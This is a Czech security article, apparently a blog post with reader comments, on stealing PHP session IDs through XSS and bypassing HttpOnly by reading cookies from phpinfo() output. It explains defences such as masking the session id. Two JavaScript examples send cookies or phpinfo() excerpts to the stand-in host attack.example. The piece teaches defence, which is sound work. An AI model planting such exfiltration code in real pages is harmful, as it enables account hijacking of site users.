Kradení session id pomocí phpinfo() a jak tomu zabránit

Krádež session id z výpisu phpinfo() je již nějakou dobu známá technika, která se používá k obcházení atributu HttpOnly, který JavaScriptu zakazuje přístup k takto označené cookie (např. PHPSESSID). Mě akorát až teď napadlo řešení, které dovolí phpinfo() zachovat: ty citlivé údaje prostě zcenzurujeme, čímž phpinfo() pro útočníka ztratí část své hodnoty.
Text vyšel původně na autorově webu.
Klasické přihlášení do webové aplikace vypadá tak, že zadáte jméno a heslo, formulář odešlete, aplikace přihlašovací údaje ověří a do tzv. sessiony uloží informaci, že jste přihlášeni. Do prohlížeče pak odešle cookie s identifikátorem session (session id), který označuje tu vaši „plechovku“ se session daty. Váš session id nikdo jiný úmyslně nedostane, pokud by ho totiž získal, byl by pak přihlášen do vašeho účtu, což by bylo značně nežádoucí.
Session hijacking
Ale to by tu nesměli být různí mizerové: ti se od vás snaží ideálně nějak nepozorovaně získat právě ten session identifikátor, tím se dostat do vaší sessiony a v podstatě se za vás vydávat, sessionu vám tzv. unést (anglicky se tomu říká „session hijacking“). Takový klasický způsob ukradení session id je pomocí útoku Cross-Site Scripting (XSS), kdy do stránky útočník nějak vloží JavaScript, ať už přímo, nebo vložením externího souboru, který zákeřný kód bude obsahovat. Ten vložený kód může vypadat např. takto:
new Image().src = 'https://attack.example/?cookie=' + encodeURIComponent(document.cookie);
Když pak návštěvník na stránku přijde, jeho prohlížeč uvidí JavaScript, vytvoří objekt typu Image
a bude chtít načíst obrázek z uvedené adresy. Ta v parametru cookie
obsahuje pro přenos v URL bezpečně zakódované všechny cookie, ke kterým má JavaScript aktuálně přístup, tedy ty, které jsou uložené pro aktuální stránku (dle nastavení atributu Domain
, Path
atd.) a nemají nastaven příznak HttpOnly
.
Útočník si pak na svém serveru attack.example
může zobrazit i třeba jenom access log, ve kterém uvidí požadavek na např. /?cookie=PHPSESSID%3D68516bed29d47527b8b23bd7dec20f19
, z něj si pak vyzobne session id, v browseru načte stránku, ze které session id ukradl, otevře developer tools a přidá nebo změní cookie PHPSESSID
, stránku pak reloadne a rázem je v té samé sessioně, česky sezení, přihlášen jako uživatel chudáka oběti.
Atribut HttpOnly
Pokud cookie má atribut HttpOnly
, tak k ní JavaScript nemá přístup a kódem uvedeným výše ukrást nepůjde. To si ostatně můžete vyzkoušet v podstatě na jakémkoliv webu: ve vašem prohlížeči v developer tools si v záložce Application (Chrome) nebo Storage (Firefox) najděte nějakou cookie, která má příznak HttpOnly
, a v konzoli, kterou můžete rovnou zobrazit stiskem klávesy Escape, si příkazem document.cookie
vypište všechny cookies tak, jak je vidí JavaScript – cookies s HttpOnly
tam nebudou.

A cookie se session id, v PHP aplikacích obvykle pojmenovaná PHPSESSID
, atribut HttpOnly
má často nastaven. V defaultní konfiguraci PHP se ale nenastavuje a je potřeba to udělat dodatečně ručně např. pomocí
ini_set('session.cookie_httponly', true);
Obcházení HttpOnly
pomocí phpinfo()
Takže smůla, ledaže… ledaže by na webu někde byl zobrazen výstup z phpinfo()
, PHP funkce, která vypisuje úplně všechno o aktuálně použitém PHP. Klasicky bývá na /info.php
nebo /phpinfo.php
, občas třeba v administraci za přihlášením, což je ta lepší a doporučovaná varianta, ale sama o sobě zde popisovaný problém nevyřeší. phpinfo()
jsem zmiňoval i v článku o Full Path Disclosure, protože kromě konfigurace PHP a informacích o rozšířeních zobrazí právě i cestu k souborům, která se útočníkům může k něčemu hodit.
Klasický výstup z phpinfo()
Ve výstupu z phpinfo()
ale jsou vypsané i hodnoty cookies, které browser při požadavku poslal, včetně těch s HttpOnly
, protože takové cookies se normálně po síti přenáší a server je tedy v rámci požadavku obdrží. Ve výpisu tedy bude i hodnota session id, minimálně jako řádek s např. $_COOKIE['PHPSESSID']
, ale dle verze PHP a konfigurace klidně i víckrát.

Toho může útočník využít: místo aby kradl session id JavaScriptem přímo z browseru pomocí document.cookie
, tak si JavaScriptem pošle požadavek na např. /phpinfo.php
, vytáhne si jen tu pro něj zajímavou část odpovědi, kterou pak připojí k následujícímu požadavku, který si pošle k sobě. To zařídí třeba následující kód, který někam do stránek na doméně https://app.example/
vloží místo výše uvedeného new Image().src …
:
fetch('https://app.example/info.php')
.then(response => response.text())
.then(text => {
cookie = text.match(/_COOKIE.{1,2000}/)[0];
fetch('https://attack.example/?cookie=' + encodeURIComponent(cookie));
});
Na prvním řádku pošleme požadavek na /info.php
, druhý a třetí řádek zajistí, že v proměnné text
budeme mít výstup z phpinfo()
, ze kterého si na čtvrtém řádku vytáhneme řetězec _COOKIE
a dalších maximálně 2000 znaků, ve kterých zcela určitě, kromě nějakého toho HTML, bude i session id. Na pátém řádku pak tento podřetězec přidáme do požadavku odesílaného na attack.example
. Odpověď už nás nezajímá, stačí že prohlížeč poslal požadavek, a na serveru se pak podíváme do access logu. Mohli bychom si klidně poslat celé phpinfo()
, ale potřeba to není, jdeme jenom po cookie se session id.
Pokud budete mít v aplikaci nějaký Cross-Site Scripting, aby útočník mohl vložit svůj zákeřný JavaScript, a výstup z phpinfo()
, jedno jestli veřejně nebo za přihlášením, tak mizera může ukrást session id i když cookie, ve které se přenáší, má atribut HttpOnly
.
Co s tím?
- Nemějte na webu XSS
- Nemějte v aplikaci výstup z
phpinfo()
, nebo věci jakovar_dump($_SERVER)
apod., a už vůbec ne veřejně
Teorie i praxe říká, že je lepší počítat s tím, že tam nějaký ten Cross-Site Scripting někdy mít budete, takže bod č. 1 padá. No a výstup z phpinfo()
je celkem užitečná věc, takže bod č. 2 je také často nereálný.
Až když jsem psal bug report s titulkem „System Information contains sensitive information like the session id cookie“, tak mě napadl kompromis: phpinfo()
v administraci necháme, ale ty důležitý údaje skryjeme, na ty tam stejně nikdo nekouká. Další úrovní zabezpečení by mohlo být zadání hesla nebo třeba 2FA kódu před naprosto každým zobrazením výstupu z phpinfo()
.
spaze/phpinfo
Už dříve jsem si vytvořil jednoduchý balíček spaze/phpinfo, který vezme výstup z phpinfo()
, odřízne HTML hlavičku aby se ten výstup dal vložit do nějakého vlastního designu administrace apod. a inline CSS style="…"
nahradí za class="…"
. Do této třídy jsem přidal sanitizaci, která defaultně nahrazuje hodnotu session id za hvězdičky.
Použití je skoro tak jednoduché jako zavolání phpinfo()
:
$info = new PhpInfo();
echo $info->getHtml();
Jádrem toho celého zázraku je v podstatě tenhle kód:
ob_start();
phpinfo();
$info = ob_get_clean();
echo str_replace(session_id(), '*****', $info);
Můžete si ale přidat vlastní nahrazování dalších hodnot jako jsou např. cookie pro permanentní přihlašování a další, můžete si zvolit i vlastní „hvězdičky“:
// $loginToken = getLoginTokenValue(); např.
$info = new PhpInfo();
$info->addSanitization($loginToken, 'hele, asi spíš ne');
echo $info->getHtml();
Na mém webu to všechno zajišťuje třída SanitizedPhpInfo
(pokrytá testem), výsledek pak vypadá nějak takhle:
Setec Astronomy je přesmyčka „too many secrets“
Místo prostého volání phpinfo()
tedy raději použijte spaze/phpinfo. Funkci phpinfo()
jsem přidal i do spaze/phpstan-disallowed-calls, což je rozšíření pro PHPStan, které hledá nebezpečné funkce a další ve vašem kódu.
Device Bound Session Credentials
Kradení cookies ale možná bude velmi brzy již minulostí, Chrome totiž experimentuje s něčím, co nazývají Device Bound Session Credentials. To by mělo zajistit, že sessiona bude svázaná s konkrétním zařízením, používají k tomu veřejné a soukromé klíče a TPM pro jejich uložení. Mělo by to také fungovat jako jakási nadstavba nad klasickými sessions, nemělo by to vyžadovat nějaké brutální změny všeho možného.
Prototyp tohoto řešení už chrání některé Google účty pokud uživatelé používají Chrome Beta a do konce roku 2024 by Device Bound Session Credentials na zkoušku měly být dostupné i veřejnosti a dalším webům jako tzv. Origin Trials.
Co s tim? Sessions se daji velmi snadno pomoci hmac svazat s browserem a ip. Neni to sice 100%, ale moznosti hijackingu to omezuje vyrazne. Obzvlaste kdyz si dame na osahani toho browseru zalezet (browser fingerprinting se porad zdokonaluje)
Sice ten článek není o ochraně proti session hijackingu, ale jen o jedné konkrétní metodě, ale tak proč ne… Tak snadno to zas právě nepůjde :-)
IP adresa se může měnit (znovusestavené mobilní spojení, load balancing připojení, „jdu, dodělám to doma“ apod.), což by způsobovalo odhlašování a znovu přihlašování, což značně zhorší použitelnost. Svazovat session s IP adresou se nedoporučuje už nějaký ten pátek.
Sledování a fingeprinting výrobci browserů spíš omezují, než aby se to zdokonalovalo, navíc i při takové běžné věci jako třeba změna verze se otisk změní, což by opět způsobilo na první pohled náhodné odhlášení.
Pokud bychom fingerprint počítali nějak „aktivně“, třeba pomocí JavaScriptu, tak útočník si takový JavaScript může vložit taky, to je premisou tohoto článku, a spočítat si úplně stejný fingerprint. Případně můžeme ten otisk spočítat na serveru a nějak si označit prohlížeč hodnotou v cookie, kterou ale lze opět získat z výpisu phpinfo. To si moc nepomůžeme.
HMAC vyžaduje jakýsi secret, jeho změnou by došlo k odhlášení všech uživatelů, to taky není úplně dobrý nápad, ačkoliv někdy by se taková hromadná akce určitě hodila :-)
Řešením session hijacking se zdá být na konci článku zmíněná technologie Device Bound Session Credentials, uvidíme jak to bude v praxi.
Svázaní s IP zas tak častý problém jak by se mohlo zdát není – to už pak záleží na konkrétní aplikaci, čemu dát přednost.
Co se týká fingerprintingu, tak autoři sice expost omezují znamé techniky, ale zase kolikrát (nedomyšleně) implementují nové fičury a API, u kterých jim dochází až zpětně, co vlastně způsobili a jaké boční kanály tím přidali. A některé z technik jsou docela snadné na implementaci, ale zároveň na detekci a nasimulovaní útočníkem zas tak ne (třeba TLS fingerprinting) – jen to pořád o tom poměru cena/výkon.
Mezi použitelností a bezpečností bychom neměli vybírat nebo dávat přednost jednomu před druhým.
Zmíněný TLS fingerprinting (a do jisté míry jakýkoliv fingerprinting) má poměr cena/výkon pro tenhle účel dost nevýhodný, nejde použít pro identifikaci konkrétní instance browseru – můj Browser 1.2.3.4 na OS/5.6.7 (+ ISP, +proxy apod) bude mít stejný fingerprint jako kolegův Browser 1.2.3.4 na OS/5.6.7 (atd.). Šlo by to použít jako jakýsi signál „něco může být špatně, ale taky nemusí“, ale to je docela vzdálené od zmíněného „velmi snadno“.
Spíš bych to chtělo nějakou technologii, která je pro to přímo navržená, třeba jako již zmíněné DBSC, dosavadní přístupy spíš evidentně nestačí :-)
Ale DBSC tu v tuhle chvili nemame, a tak je ten prostor pro hijack potreba zmensovat jinak – a jde jen o to najit odpovidajici pomer cena/vykon – treba pro aplikace co pisu, si svazani session s IP mohu dovolit.. A taky pak bude zalezet ne tom, zda to DBSC naimplementuji spravne – uz ted si umim predstavit nekolik zpusobu jak by se to dalo zneuzit (jako naprikad kauzs s Battery API, kdy to tvurci nedomysleli).
DBSC je dostupné i ve stabilním Chrome, některý aplikace to tak už mohou zkusit. Dá se to povolit pomocí chrome://flags/#enable-bound-session-credentials Vývoj DBSC probíhá na GitHubu https://github.com/WICG/dbsc i dle svých vlastních slov autoři rádi uvítají issues a diskuzi: „We welcome feedback from all sources, either by opening a new issue or starting a discussion on GitHub“ Tak případné nápady směřovat tam :-)
Stejně mám, ale prostě používám název souboru, který znám jenom já, rozhodně ne info.php nebo phpinfo.php. Obstrukce kolem upraveného výpisu phpinfo() mi přijdou zbytečné. Každopádně dík za ten tip s
session.cookie_httponly
, proč je to vůbec defaultně vypnuté?Je celkem jedno, na jaké URL ten výstup z phpinfo() je, jestli na předvídatelné adrese jako např. /info.php, nebo nějaké méně předvídatelné jako třeba /bflmpsvz.php, nebo jestli je za přihlášením, nebo ne. Název souboru, např. toho bflmpsvz.php je, nebo může být uveden na spoustě míst: např. v logu serveru, v historii prohlížeče, v Git repozitáři, v odkazech v administraci apod. a ze všech těchto míst lze ten „tajný“ název souboru zjistit.
Dobrý návrh zabezpečení s tím počítá – nespoléhá se na to, že tu adresu „přece nikdo nenajde“. A ty „obstrukce“, mimochodem kratší než celý tenhle můj komentář :-) jsou tam přesně proto: a co když to náhodou někdo fakt najde?
Proč je session.cookie_httponly defaultně vypnuté nevím, mohu se jen domnívat, že to ze pozůstatek z dob, kdy ten atribut neuměly všechny browsery, nebo dokonce některým browserům dělal problémy, nebo tak něco.